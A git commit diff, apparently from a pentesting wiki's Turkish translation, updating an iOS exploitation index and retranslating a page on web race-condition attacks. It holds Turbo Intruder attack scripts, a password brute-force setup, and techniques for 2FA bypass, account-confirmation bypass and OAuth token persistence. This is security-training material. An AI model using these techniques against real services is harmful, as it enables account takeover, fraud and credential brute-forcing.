Translated ['', 'src/pentesting-web/websocket-attacks.md', 'src/pentesti

2025-10-10 18:36:50 +00:00 · 2025-09-29 14:20:44 +00:00 · 2025-09-29 14:20:44 +00:00 · 632c1d45c4
commit 632c1d45c4
parent d16e9000f5
3 changed files with 276 additions and 141 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -837,9 +837,14 @@
  - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
  - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+  - [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
+  - [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
+  - [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
+  - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
+  - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
+

 # 🤖 AI
 - [AI Security](AI/README.md)
--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@ -3,56 +3,56 @@
 {{#include ../banners/hacktricks-training.md}}

 > [!WARNING]
-> Bu tekniği derinlemesine anlamak için orijinal raporu [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) adresinde kontrol edin.
+> For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)

-## Race Condition Saldırılarını Geliştirme
+## Race Condition Saldırılarının Geliştirilmesi

-Race condition'ları avantaja çevirmenin ana engeli, birden fazla isteğin **işlem sürelerinde çok az farkla—idealde 1ms'den az** aynı anda işlenmesini sağlamaktır.
+Race conditions'tan yararlanmanın temel engeli, birden fazla isteğin aynı anda işlenmesini sağlamak ve işleme süreleri arasındaki farkın **çok az olmasıdır — ideal olarak 1ms'den az**.

-İstekleri Senkronize Etmek için bazı teknikler burada bulunmaktadır:
+İstekleri senkronize etmek için bazı teknikler şunlardır:

-#### HTTP/2 Tek-Paket Saldırısı vs. HTTP/1.1 Son-Bayt Senkronizasyonu
+#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

- **HTTP/2**: Tek bir TCP bağlantısı üzerinden iki isteğin gönderilmesini destekler, ağ jitter etkisini azaltır. Ancak, sunucu tarafındaki varyasyonlar nedeniyle, iki istek tutarlı bir race condition istismarına yeterli olmayabilir.
- **HTTP/1.1 'Son-Bayt Senkronizasyonu'**: 20-30 isteğin çoğu kısmının önceden gönderilmesini sağlar, küçük bir parçayı saklayarak, bu parça daha sonra birlikte gönderilir ve sunucuya eşzamanlı varış sağlanır.
+- **HTTP/2**: Tek bir TCP bağlantısı üzerinden iki isteğin gönderilmesine izin verir; böylece ağ jitter'ının etkisini azaltır. Ancak sunucu tarafındaki farklılıklar nedeniyle, tutarlı bir race condition exploit'i için iki istek her zaman yeterli olmayabilir.
+- **HTTP/1.1 'Last-Byte Sync'**: 20-30 isteğin çoğu kısmının önceden gönderilmesine, küçük bir parçanın geri tutulmasına izin verir; bu parçalar birlikte gönderildiğinde sunucuya eşzamanlı varış sağlanır.

-**Son-Bayt Senkronizasyonu için Hazırlık** şunları içerir:
+**Preparation for Last-Byte Sync** şunları içerir:

-1. Akışı sonlandırmadan son bayt hariç başlık ve gövde verilerini göndermek.
-2. İlk gönderimden sonra 100ms beklemek.
-3. Son çerçeveleri gruplamak için Nagle algoritmasını kullanmak üzere TCP_NODELAY'i devre dışı bırakmak.
-4. Bağlantıyı ısıtmak için ping atmak.
+1. Stream'i sonlandırmadan, başlıkları ve gövde verisini son bayt hariç göndermek.
+2. İlk gönderimin ardından 100ms beklemek.
+3. Son frameleri toplu halde göndermek için Nagle's algorithm'dan faydalanmak üzere TCP_NODELAY'ı devre dışı bırakmak.
+4. Bağlantıyı ısıtmak için ping göndermek.

-Saklanan çerçevelerin sonraki gönderimi, Wireshark ile doğrulanabilir şekilde tek bir pakette varış sağlamalıdır. Bu yöntem, genellikle RC saldırılarında yer almayan statik dosyalara uygulanmaz.
+Geri tutulan framelerin daha sonra gönderilmesi, bunların tek bir pakette ulaşmasına yol açmalıdır; bu durum Wireshark ile doğrulanabilir. Bu yöntem, genellikle RC saldırılarında yer almayan statik dosyalar için geçerli değildir.

 ### Sunucu Mimarisine Uyum Sağlama

-Hedefin mimarisini anlamak çok önemlidir. Ön uç sunucular, istekleri farklı yönlendirebilir ve zamanlamayı etkileyebilir. Önleyici sunucu tarafı bağlantı ısıtma, önemsiz istekler aracılığıyla istek zamanlamasını normalleştirebilir.
+Hedefin mimarisini anlamak çok önemlidir. Front-end sunucular istekleri farklı şekilde yönlendirebilir; bu da zamanlamayı etkiler. Önceden sunucu tarafında bağlantıyı ısıtmak (önemsiz isteklerle) istek zamanlamasını normalize edebilir.

-#### Oturum Tabanlı Kilitlemeyi Yönetme
+#### Handling Session-Based Locking

-PHP'nin oturum yöneticisi gibi çerçeveler, istekleri oturum bazında seri hale getirir ve potansiyel olarak zayıflıkları gizleyebilir. Her istek için farklı oturum jetonları kullanmak bu sorunu aşabilir.
+PHP gibi framework'lerin session handler'ları istekleri session bazında sıralayabilir; bu, zafiyetleri gizleyebilir. Her istek için farklı session token'ları kullanmak bu sorunun önüne geçebilir.

-#### Hız veya Kaynak Sınırlamalarını Aşma
+#### Overcoming Rate or Resource Limits

-Bağlantı ısıtma etkili değilse, web sunucularının hız veya kaynak limit gecikmelerini kasıtlı olarak bir dizi sahte istekle tetiklemek, sunucu tarafında race condition'lara uygun bir gecikme oluşturarak tek paket saldırısını kolaylaştırabilir.
+Bağlantı ısıtma etkisizse, web sunucularının rate veya kaynak limit gecikmelerini kasten tetiklemek için sahte istek seli göndermek, sunucu taraflı bir gecikme oluşturarak single-packet attack'i kolaylaştırabilir.

 ## Saldırı Örnekleri

- **Tubo Intruder - HTTP2 tek-paket saldırısı (1 uç nokta)**: İsteği **Turbo intruder**'a (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`) gönderebilirsiniz, istekte **`%s`** için brute force yapmak istediğiniz değeri değiştirebilirsiniz, örneğin `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` ve ardından açılır menüden **`examples/race-single-packer-attack.py`**'yi seçin:
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: İsteği **Turbo Intruder**'a gönderebilirsiniz (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), istekte brute force yapmak istediğiniz değeri **`%s`** olarak değiştirebilirsiniz; örneğin `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` ve ardından açılır menüden **`examples/race-single-packer-attack.py`** dosyasını seçin:

 <figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>

-Eğer **farklı değerler gönderecekseniz**, panodaki bir kelime listesini kullanan bu kod ile kodu değiştirebilirsiniz:
+Farklı değerler gönderecekseniz, kodu panodan alınan bir wordlist kullanan şu sürümle değiştirebilirsiniz:
 ```python
 passwords = wordlists.clipboard
 for password in passwords:
 engine.queue(target.req, password, gate='race1')
 ```
 > [!WARNING]
-> Eğer web HTTP2'yi desteklemiyorsa (sadece HTTP1.1) `Engine.BURP2` yerine `Engine.THREADED` veya `Engine.BURP` kullanın.
+> Web sitesi HTTP2'yi desteklemiyorsa (sadece HTTP1.1), `Engine.THREADED` veya `Engine.BURP`'ı `Engine.BURP2` yerine kullanın.

- **Tubo Intruder - HTTP2 tek paketli saldırı (Birçok uç nokta)**: Eğer 1 uç noktaya bir istek göndermeniz ve ardından RCE'yi tetiklemek için diğer uç noktalara birden fazla istek göndermeniz gerekiyorsa, `race-single-packet-attack.py` scriptini şu şekilde değiştirebilirsiniz:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: RCE'yi tetiklemek için önce 1 endpoint'e bir istek, ardından diğer endpoint'lere birden fazla istek göndermeniz gerekiyorsa, `race-single-packet-attack.py` script'ini şu şekilde değiştirebilirsiniz:
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
 # send all the queued requests for this attempt
 engine.openGate(currentAttempt)
 ```
- Ayrıca **Repeater**'da Burp Suite'teki yeni '**Grupları paralel gönder**' seçeneği ile de mevcuttur.
- **Limit-aşımı** için gruba **aynı isteği 50 kez** ekleyebilirsiniz.
- **Bağlantı ısınması** için grubun **başına** web sunucusunun bazı statik olmayan kısımlarına **istekler** ekleyebilirsiniz.
- **Bir isteği işlemek ile diğerini işlemek arasında** süreci **geciktirmek** için, her iki isteğin arasına **ekstra istekler ekleyebilirsiniz**.
- **Çoklu uç nokta** RC için, **gizli duruma giden isteği** göndermeye başlayabilir ve ardından **gizli durumu istismar eden 50 isteği** hemen arkasından gönderebilirsiniz.
+- Ayrıca **Repeater** içinde Burp Suite'deki yeni '**Send group in parallel**' seçeneğiyle de mevcut.
+- **limit-overrun** için gruba **aynı request'i 50 kez** ekleyebilirsiniz.
+- **connection warming** için, **group**'un **beginning**'ine web sunucusunun statik olmayan bir kısmına birkaç **requests** ekleyebilirsiniz.
+- Süreçte bir **request**'in işlenmesi ile diğerinin işlenmesi **between** gecikme (**delaying**) oluşturmak için, iki request arasına ekstra **requests** ekleyebilirsiniz (2 substates adımında).
+- Bir **multi-endpoint** RC için, **gizli duruma giden request**'i göndermeye başlayıp hemen ardından **gizli durumu istismar eden** **50 request** gönderebilirsiniz.

 <figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>

- **Otomatik python scripti**: Bu scriptin amacı, bir kullanıcının e-posta adresini değiştirmek ve yeni e-posta adresinin doğrulama tokeni son e-posta adresine ulaşana kadar sürekli olarak doğrulamaktır (bu, kodda bir e-posta adresinin değiştirilip doğrulamanın eski adrese gönderilebildiği bir RC görüldüğü için olmuştur).\
-"objetivo" kelimesi alınan e-postalarda bulunduğunda, değiştirilmiş e-posta adresinin doğrulama tokenini aldığımızı biliyoruz ve saldırıyı sonlandırıyoruz.
+- **Automated python script**: Bu scriptin amacı, bir kullanıcının email'ini değiştirmek ve yeni email'in verification token'ı son email'e ulaşana kadar sürekli olarak doğrulamaktır (kodda, email'i değiştirmek mümkünken doğrulamanın eski email'e gönderildiği bir RC durumu görülüyordu; çünkü email'i gösteren değişken ilk olanla zaten doldurulmuştu).\
+Alınan emaillerde "objetivo" kelimesi bulunduğunda, değiştirilen email'in verification token'ını aldığımızı biliriz ve saldırıyı sonlandırırız.
 ```python
 # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
 # Script from victor to solve a HTB challenge
@ -217,22 +217,22 @@ h2_conn.close_connection()

 response = requests.get(url, verify=False)
 ```
-### Tek Paket Saldırısını Geliştirme
+### Single Packet Attack'ı İyileştirme

-Orijinal araştırmada, bu saldırının 1.500 baytlık bir sınırı olduğu açıklanmıştır. Ancak, [**bu yazıda**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) tek paket saldırısının 1.500 baytlık sınırlamasını **IP katmanı parçalama** (tek bir paketi birden fazla IP paketine bölme) kullanarak **TCP'nin 65.535 B pencere sınırlamasına** nasıl genişletilebileceği açıklanmıştır ve bunların farklı bir sırayla gönderilmesi, tüm parçalar sunucuya ulaşana kadar paketin yeniden birleştirilmesini engellemiştir. Bu teknik, araştırmacının yaklaşık 166 ms içinde 10.000 istek göndermesine olanak tanımıştır.
+Orijinal araştırmada bu saldırının 1,500 byte ile sınırlı olduğu açıklanıyor. Ancak, [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), single packet attack'ın 1,500 baytlık sınırlamasının IP layer fragmentation kullanılarak (tek bir paketi birden fazla IP paketine bölme) ve parçaları farklı sırada göndererek TCP'nin **65,535 B pencere sınırlamasına** nasıl genişletilebileceğini açıkladı; bu, tüm fragment'ler sunucuya ulaşana kadar paket yeniden birleştirilmesinin engellenmesine olanak tanır. Bu teknik, araştırmacının yaklaşık 166ms içinde 10,000 istek göndermesine izin verdi.

-Bu iyileştirmenin, aynı anda yüzlerce/binlerce paketin ulaşmasını gerektiren RC'de saldırıyı daha güvenilir hale getirdiğini unutmayın, ancak bazı yazılım sınırlamaları da olabilir. Apache, Nginx ve Go gibi bazı popüler HTTP sunucuları, `SETTINGS_MAX_CONCURRENT_STREAMS` ayarını sırasıyla 100, 128 ve 250 olarak belirlemiştir. Ancak, NodeJS ve nghttp2 gibi diğerleri sınırsızdır.\
-Bu, temelde Apache'nin tek bir TCP bağlantısından yalnızca 100 HTTP bağlantısını dikkate alacağı anlamına gelir (bu RC saldırısını sınırlayarak).
+Not: Bu geliştirme, yüzlerce/binlerce paketin aynı anda ulaşmasını gerektiren RC saldırılarını daha güvenilir hale getirse de bazı yazılım sınırlamaları olabilir. Apache, Nginx ve Go gibi bazı popüler HTTP sunucularında `SETTINGS_MAX_CONCURRENT_STREAMS` ayarı sırasıyla 100, 128 ve 250 ile katı tutuluyor. Ancak NodeJS ve nghttp2 gibi diğerlerinde bu sınırlama yok.\
+Bu temelde Apache'nin tek bir TCP bağlantısından sadece 100 HTTP bağlantısını dikkate alacağı anlamına gelir (bu RC saldırısını sınırlayabilir).

-Bu tekniği kullanan bazı örnekleri [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main) reposunda bulabilirsiniz.
+You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).

-## Ham BF
+## Raw BF

-Önceki araştırmadan önce, sadece paketleri mümkün olduğunca hızlı göndermeye çalışan bazı yükler kullanılmıştır.
+Önceki araştırmadan önce, RC'ye neden olmak için paketleri mümkün olduğunca hızlı göndermeye çalışan bazı payloads kullanılıyordu.

- **Tekrarlayıcı:** Önceki bölümden örneklere bakın.
- **Saldırgan**: **İsteği** **Saldırgana** gönderin, **Seçenekler menüsünde** **iş parçacığı sayısını** **30** olarak ayarlayın ve yük olarak **Null yükleri** seçin ve **30** oluşturun.
- **Turbo Saldırgan**
+- **Repeater:** Önceki bölümdeki örneklere bakın.
+- **Intruder**: **request**'i **Intruder**'a gönderin, **Options menu** içinde **number of threads**'i **30** olarak ayarlayın, payload olarak **Null payloads**'i seçin ve **30** adet oluşturun.
+- **Turbo Intruder**
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@ -279,75 +279,75 @@ print(results)

 asyncio.run(main())
 ```
-## **RC Metodolojisi**
+## **RC Methodology**

-### Limit-aşımı / TOCTOU
+### Limit-overrun / TOCTOU

-Bu, **hareketi gerçekleştirebileceğiniz zaman sayısını sınırlayan** yerlerde **görünmeye** başlayan **zayıflıkların** bulunduğu en temel yarış durumu türüdür. Örneğin, bir web mağazasında aynı indirim kodunu birkaç kez kullanmak. Çok basit bir örnek [**bu raporda**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) veya [**bu hatada**](https://hackerone.com/reports/759247)**.**
+Bu, bir eylemi gerçekleştirebileceğiniz sayıyı sınırlayan yerlerde ortaya çıkan en temel tür race condition'dır. Örneğin bir web mağazasında aynı indirim kodunu birkaç kez kullanmak. Çok basit bir örnek [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) veya [**this bug**](https://hackerone.com/reports/759247)**'da** bulunabilir.

-Bu tür saldırının birçok varyasyonu vardır, bunlar arasında:
+Bu tür saldırıların birçok varyasyonu vardır, bunlar arasında:

 - Bir hediye kartını birden fazla kez kullanma
- Bir ürünü birden fazla kez değerlendirme
- Hesap bakiyenizin üzerinde nakit çekme veya transfer etme
+- Bir ürünü birden fazla kez puanlama
+- Hesap bakiyenizin üzerinde para çekme veya transfer etme
 - Tek bir CAPTCHA çözümünü yeniden kullanma
- Bir anti-brute-force hız limitini aşma
+- Bir anti-brute-force rate limit'ini atlatma

 ### **Gizli alt durumlar**

-Karmaşık yarış durumlarını istismar etmek genellikle gizli veya **istenmeyen makine alt durumlarıyla** etkileşimde bulunmak için kısa fırsatları değerlendirmeyi içerir. İşte buna yaklaşmanın yolu:
+Karmaşık race condition'ları istismar etmek sıklıkla gizli veya **istenmeyen makine alt durumlarıyla** etkileşim kurmak için kısa süreli fırsatlardan yararlanmayı içerir. Yaklaşım şu şekilde olmalıdır:

 1. **Potansiyel Gizli Alt Durumları Belirleyin**
- Kullanıcı profilleri veya şifre sıfırlama süreçleri gibi kritik verileri değiştiren veya bunlarla etkileşime giren uç noktaları belirleyerek başlayın. Şuna odaklanın:
- **Depolama**: Sunucu tarafında kalıcı verileri manipüle eden uç noktaları, istemci tarafında veri işleyenlerden daha fazla tercih edin.
- **Eylem**: Mevcut verileri değiştiren işlemleri arayın; bunlar yeni veri ekleyenlere göre istismar edilebilir koşullar yaratma olasılığı daha yüksektir.
- **Anahtar**: Başarılı saldırılar genellikle aynı tanımlayıcıya, örneğin kullanıcı adı veya sıfırlama jetonuna dayalı işlemleri içerir.
-2. **İlk Keşfi Gerçekleştirin**
- Belirlenen uç noktaları yarış durumu saldırılarıyla test edin ve beklenen sonuçlardan herhangi bir sapma olup olmadığını gözlemleyin. Beklenmedik yanıtlar veya uygulama davranışındaki değişiklikler bir zayıflığın sinyalini verebilir.
-3. **Zayıflığı Gösterin**
- Zayıflığı istismar etmek için gereken en az istek sayısını daraltın; genellikle sadece iki. Bu adım, hassas zamanlama gerektirdiğinden birden fazla deneme veya otomasyon gerektirebilir.
+- Kullanıcı profilleri veya password reset süreçleri gibi kritik verileri değiştiren veya onlarla etkileşen endpoint'leri tespit ederek başlayın. Şunlara odaklanın:
+- **Storage**: Client-side verileri işleyen endpoint'lerden ziyade server-side persistent verileri manipüle eden endpoint'leri tercih edin.
+- **Action**: Var olan veriyi değiştiren işlemleri arayın; yeni veri ekleyenlere göre istismar edilebilir koşullar yaratma olasılıkları daha yüksektir.
+- **Keying**: Başarılı saldırılar genellikle aynı tanımlayıcıya (ör. kullanıcı adı veya reset token) bağlı işlemleri içerir.
+2. **İlk Testleri Yapın**
+- Belirlediğiniz endpoint'leri race condition saldırılarıyla test edin, beklenen sonuçlardan sapmaları gözlemleyin. Beklenmedik yanıtlar veya uygulama davranışındaki değişiklikler bir zafiyeti işaret edebilir.
+3. **Zafiyeti Gösterin**
+- Saldırıyı, genellikle sadece iki isteğe indirgenebilen en az sayıda istekle istismarı gösterecek şekilde daraltın. Bu adım, hassas zamanlama gerektirdiği için birden fazla deneme veya otomasyon gerektirebilir.

-### Zaman Hassas Saldırılar
+### Time Sensitive Attacks

-İsteklerin zamanlamasındaki hassasiyet, özellikle güvenlik jetonları için tahmin edilebilir yöntemler, örneğin zaman damgaları kullanıldığında zayıflıkları ortaya çıkarabilir. Örneğin, zaman damgalarına dayalı şifre sıfırlama jetonları oluşturmak, eşzamanlı istekler için aynı jetonların oluşmasına neden olabilir.
+İsteklerin zamanlamasındaki hassasiyet zafiyetleri ortaya çıkarabilir, özellikle security token'lar için timestamp gibi öngörülebilir yöntemler kullanıldığında. Örneğin, password reset token'larının timestamp bazlı üretilmesi eş zamanlı isteklerde aynı token'ların üretilmesine izin verebilir.

-**İstismar Etmek İçin:**
+To Exploit:

- Eşzamanlı şifre sıfırlama istekleri yapmak için tek bir paket saldırısı gibi hassas zamanlama kullanın. Aynı jetonlar bir zayıflığın göstergesidir.
+- Eş zamanlı password reset istekleri yapmak için tek paket saldırısı gibi hassas zamanlama kullanın. Özdeş token'lar bir zafiyeti gösterir.

-**Örnek:**
+Example:

- Aynı anda iki şifre sıfırlama jetonu talep edin ve karşılaştırın. Eşleşen jetonlar, jeton oluşturma sürecinde bir hatayı gösterir.
+- Aynı anda iki password reset token isteyin ve karşılaştırın. Eşleşen token'lar token üretiminde bir hata olduğunu gösterir.

-**Bunu deneyin** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **.
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**

-## Gizli alt durumlar vaka çalışmaları
+## Gizli alt durum vaka çalışmaları

-### Ödeme & Bir Ürün Ekle
+### Pay & add an Item

-Bunu kontrol edin [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) mağazada nasıl **ödeyeceğinizi** ve **ekstra** bir ürün **ekleyeceğinizi** görmek için **ödemek zorunda kalmadan**.
+Bu [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) üzerinden bir mağazada **ödeme yaparken** ve **fazladan bir öğe ekleyerek** bunun için **ödeme yapmamanızı** nasıl sağlayabileceğinizi görebilirsiniz.

-### Diğer e-postaları onaylayın
+### Confirm other emails

-Amaç, **bir e-posta adresini doğrulamak ve aynı anda farklı birine değiştirmek**; böylece platformun yeni değiştirilen e-postayı doğrulayıp doğrulamadığını öğrenmektir.
+Fikir, **bir e-posta adresini doğrulamak ve aynı anda farklı bir adrese değiştirmek** ve platformun değiştirilen yeni adresi doğrulayıp doğrulamadığını öğrenmektir.

-### E-postayı 2 e-posta adresine Değiştirin Çerez Tabanlı
+### Change email to 2 emails addresses Cookie based

-[**Bu araştırmaya**](https://portswigger.net/research/smashing-the-state-machine) göre, Gitlab bu şekilde bir ele geçirmeye karşı savunmasızdı çünkü **bir e-postanın doğrulama jetonunu diğer e-postaya gönderebilir**.
+Bu [**this research**](https://portswigger.net/research/smashing-the-state-machine) çalışmasına göre Gitlab bu şekilde takeover'a karşı savunmasızdı çünkü bir e-postanın email verification token'ını diğer e-postaya **gönderebilir**.

-**Bunu deneyin** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **.
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**

-### Gizli Veritabanı durumları / Onay Atlama
+### Hidden Database states / Confirmation Bypass

-Eğer **2 farklı yazma** işlemi **veri** eklemek için **veritabanı** içinde kullanılıyorsa, veritabanına **yalnızca ilk verinin yazıldığı** küçük bir zaman dilimi vardır. Örneğin, bir kullanıcı oluştururken **kullanıcı adı** ve **şifre** yazılabilir ve ardından yeni oluşturulan hesabı onaylamak için **jeton** yazılır. Bu, **bir hesabı onaylamak için jetonun null olduğu** küçük bir süre olduğu anlamına gelir.
+Eğer bir veritabanına bilgi eklemek için **2 farklı write** kullanılıyorsa, veritabanına sadece ilk verinin yazılmış olduğu kısa bir zaman dilimi vardır. Örneğin, kullanıcı oluştururken önce **username** ve **password** yazılabilir, ardından yeni oluşturulan hesabı onaylamak için **token** yazılabilir. Bu, kısa bir süre için hesabı onaylama token'ının null olduğu anlamına gelir.

-Bu nedenle, **bir hesap kaydetmek ve hemen onaylamak için boş bir jetonla** (`token=` veya `token[]=` veya başka bir varyasyon) birkaç istek göndermek, kontrol etmediğiniz bir e-postaya sahip bir hesabı **onaylamanıza** olanak tanıyabilir.
+Bu nedenle bir hesap kaydı oluşturup hesabı hemen onaylamak için boş bir token ile (`token=` veya `token[]=` veya başka bir varyasyon) birkaç istek göndermek, e-postasını kontrol etmediğiniz bir hesabı **onaylamanıza** izin verebilir.

-**Bunu deneyin** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **.
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**

-### 2FA'yı Atlama
+### Bypass 2FA

-Aşağıdaki pseudo-kod, çok kısa bir süre içinde **2FA'nın uygulanmadığı** için yarış durumuna karşı savunmasızdır; bu süre zarfında oturum oluşturulmaktadır:
+Aşağıdaki pseudo-code race condition'a karşı savunmasızdır çünkü çok kısa bir süre için session oluşturulurken 2FA uygulanmamaktadır:
 ```python
 session['userid'] = user.userid
 if user.mfa_enabled:
@ -355,22 +355,23 @@ session['enforce_mfa'] = True
 # generate and send MFA code to user
 # redirect browser to MFA code entry form
 ```
-### OAuth2 sonsuz kalıcılık
+### OAuth2 eternal persistence

-Birçok [**OAUth sağlayıcısı**](https://en.wikipedia.org/wiki/List_of_OAuth_providers) bulunmaktadır. Bu hizmetler, bir uygulama oluşturmanıza ve sağlayıcının kaydettiği kullanıcıları kimlik doğrulamanıza olanak tanır. Bunu yapmak için, **istemci** uygulamanızın **OAUth sağlayıcısı** içindeki bazı verilerine erişmesine **izin vermesi** gerekecektir.\
-Buraya kadar, sadece bir google/linkedin/github... ile giriş yapma durumu var; karşınıza "_Uygulama \<InsertCoolName> bilgilerinize erişmek istiyor, izin vermek ister misiniz?_" diyen bir sayfa çıkıyor.
+There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Bu servisler bir uygulama oluşturmanıza ve provider'ın kayıtlı kullanıcılarını authenticate etmenize izin verir. Bunu yapabilmek için **client**'ın **uygulamanıza izin vermesi** gerekir, **OAUth provider** içinde bazı verilerine erişmesi için.\
+Yani buraya kadar google/linkedin/github... ile yaygın bir login — karşınıza şu tarz bir sayfa çıkar: "_Uygulama \<InsertCoolName> bilgilerinize erişmek istiyor, izin vermek istiyor musunuz?_"

-#### `authorization_code`'da Yarış Durumu
+#### Race Condition in `authorization_code`

-**Sorun**, **kabul ettiğinizde** ve otomatik olarak kötü niyetli uygulamaya bir **`authorization_code`** gönderdiğinizde ortaya çıkar. Ardından, bu **uygulama, OAUth hizmet sağlayıcısındaki bir Yarış Durumunu kötüye kullanarak hesabınız için birden fazla AT/RT** (_Authentication Token/Refresh Token_) oluşturur. Temelde, uygulamanın verilerinize erişmesine izin verdiğiniz gerçeğini kötüye kullanarak **birden fazla hesap oluşturur**. Sonrasında, eğer **uygulamanın verilerinize erişmesine izin vermeyi durdurursanız, bir çift AT/RT silinecek, ancak diğerleri geçerli kalacaktır**.
+Problem, siz onayladığınızda ortaya çıkar ve otomatik olarak kötü amaçlı uygulamaya bir **`authorization_code`** gönderilir. Bu uygulama daha sonra OAUth service provider içindeki bir Race Condition'ı kötüye kullanarak hesabınız için `authorization_code`'dan birden fazla AT/RT (_Authentication Token/Refresh Token_) üretir. Temelde, uygulamaya verilerinize erişim izni vermenizin sağladığı durumu suistimal ederek **birden fazla hesap oluşturur**. Sonrasında uygulamanın verilerinize erişimine artık izin vermeyi bırakırsanız bir AT/RT çifti silinebilir, ancak diğerleri hâlâ geçerli olmaya devam eder.

-#### `Refresh Token`'da Yarış Durumu
+#### Race Condition in `Refresh Token`

-Bir **geçerli RT** elde ettiğinizde, **birden fazla AT/RT oluşturmak için bunu kötüye kullanmayı** deneyebilirsiniz ve **kullanıcı kötü niyetli uygulamanın verilerine erişim izinlerini iptal etse bile**, **birden fazla RT hala geçerli olacaktır.**
+Geçerli bir RT elde ettiğinizde, bunu birden fazla AT/RT üretmek için kötüye kullanmayı deneyebilirsiniz ve kullanıcı kötü amaçlı uygulamanın verilerine erişim iznini iptal etse bile birden fazla RT hâlâ geçerli olacaktır.

-## **WebSockets'te RC**
+## **RC in WebSockets**

-[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) içinde, **Yarış Durumlarını Web Sockets'te de kötüye kullanmak için** websocket mesajlarını **paralel** olarak gönderen bir Java PoC bulabilirsiniz.
+- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
+- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).

 ## Referanslar

@ -380,5 +381,8 @@ Bir **geçerli RT** elde ettiğinizde, **birden fazla AT/RT oluşturmak için bu
 - [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
 - [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
 - [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
+- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
+- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
+- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)

 {{#include ../banners/hacktricks-training.md}}
--- a/src/pentesting-web/websocket-attacks.md
